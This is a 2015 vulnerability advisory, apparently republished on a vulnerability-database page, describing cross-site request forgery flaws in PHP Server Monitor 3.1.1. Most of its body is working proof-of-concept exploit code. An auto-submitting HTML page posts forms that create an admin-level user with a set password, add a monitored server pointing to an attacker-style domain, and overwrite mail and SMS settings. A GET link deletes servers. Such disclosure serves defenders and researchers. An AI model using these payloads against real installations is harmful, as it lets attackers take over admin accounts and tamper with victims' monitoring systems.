PHP Server Monitor 3.1.1 - Multiple Cross-Site Request Forgery Vulnerabilities

🗓️ 30 Oct 2015 00:00:00Reported by hyp3rlinxType

PHP Server Monitor 3.1.1 Multiple Cross-Site Request Forgery Vulnerabilities allow attackers to add arbitrary users and servers, modify system configurations, and delete servers by exploiting the lack of CSRF protection in the application

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-PHPSRVMONITOR-CSRF.txt


Vendor:
================================
www.phpservermonitor.org
sourceforge.net/projects/phpservermon/files/phpservermon/PHP%20Server%20Monitor%20v3.1.1/phpservermon-3.1.1.zip/download


Product:
================================
PHP Server Monitor 3.1.1


Vulnerability Type:
=================================
Cross site request forgery (CSRF)


Vulnerability Details:
=====================

Multiple CSRF issues in PHP Server Monitor allow remote attackers to add
arbitrary users & servers to the system, modify system configurations
and delete arbitrary servers, if user (admin) is logged in and visits our
malicious website or clicks on our infected linxs. As no CRSF protection is
used in the application, we can make request on the victims behalf an the
server will happily oblige processing our malicous HTTP requests.


Exploit code(s):
===============

<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>


1) add arbitrary users to the system:

<form id="HELL" action="
http://localhost/phpservermon-3.1.1/?&mod=user&action=save&id=0"
method="post">
<input type="text" name="user_name" value="hyp3rlinx" >
<input type="text" name="name" value="hyp3rlinx">
<input type="text" name="level" value="20">
<input type="text" name="password" value="abc123">
<input type="text" name="password_repeat" value="abc123">
<input type="text" name="email" value="[email protected]">
<input type="text" name="mobile" value="">
<input type="text" name="pushover_key" value="">
<input type="text" name="pushover_device" value="">
</form>



2) add arbitrary servers to the system:

<form id="HELL" action="
http://localhost/phpservermon-3.1.1/?&mod=server&action=save&id=0&back_to="
method="post">
<input type="text" name="label" value="HELL" >
<input type="text" name="ip" value="malicious-domain.hell">
<input type="text" name="type" value="service">
<input type="text" name="port" value="666">
<input type="text" name="pattern" value="">
<input type="text" name="warning_threshold" value="1">
<input type="text" name="timeout" value="">
<input type="text" name="active" value="yes">
<input type="text" name="email" value="yes">
<input type="text" name="sms" value="yes">
<input type="text" name="pushover" value="yes">
</form>


3) modify system configuration:

<form id="HELL" action="
http://localhost/phpservermon-3.1.1/index.php?mod=config&action=save"
method="post">
<input type="text" name="language" value="en_US" >
<input type="text" name="show_update%5B%5D=" value="on">
<input type="text" name="auto_refresh_servers" value="0">
<input type="text" name="alert_type" value="status">
<input type="text" name="log_status%5B%5D" value="on">
<input type="text" name="log_retention_period" value="1">
<input type="text" name="email_status%5B%5D" value="on">
<input type="text" name="log_email%5B%5D" value="on">
<input type="text" name="email_from_name" value="ghostofsin">
<input type="text" name="email_from_email" value="[email protected]">
<input type="text" name="email_smtp_port" value="25">
<input type="text" name="email_smtp_security" value="">
<input type="text" name="email_smtp_username" value="">
<input type="text" name="email_smtp_password" value="">
<input type="text" name="test_email" value="1">
<input type="text" name="log_sms%5B%5D" value="on">
<input type="text" name="sms_gateway" value="whatever">
<input type="text" name="sms_gateway_username" value="username">
<input type="text" name="sms_gateway_password" value="password">
<input type="text" name="sms_from" value="1234567890">
<input type="text" name="test_sms" value="0">
<input type="text" name="sms_from" value="1234567890">
<input type="text" name="log_pushover%5B%5D" value="0">
<input type="text" name="pushover_api_token" value="">
<input type="text" name="test_pushover" value="0">
</form>

</body>
</html>


4) arbitrary server deletion via GET request:

http://localhost/sectest/phpservermon-3.1.1/?&mod=server&action=delete&id=2


Exploitation Technique:
=======================
Remote


Severity Level:
=========================================================
High


Disclosure Timeline:
=========================================================
Vendor Notification: NA
Oct 30, 2015  : Public Disclosure


Description:
==========================================================


Request Method(s):              [+]  GET / POST


Vulnerable Product:             [+]  PHP Server Monitor 3.1.1



===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx

30 Oct 2015 00:00Current

7.4High risk

Vulners AI Score7.4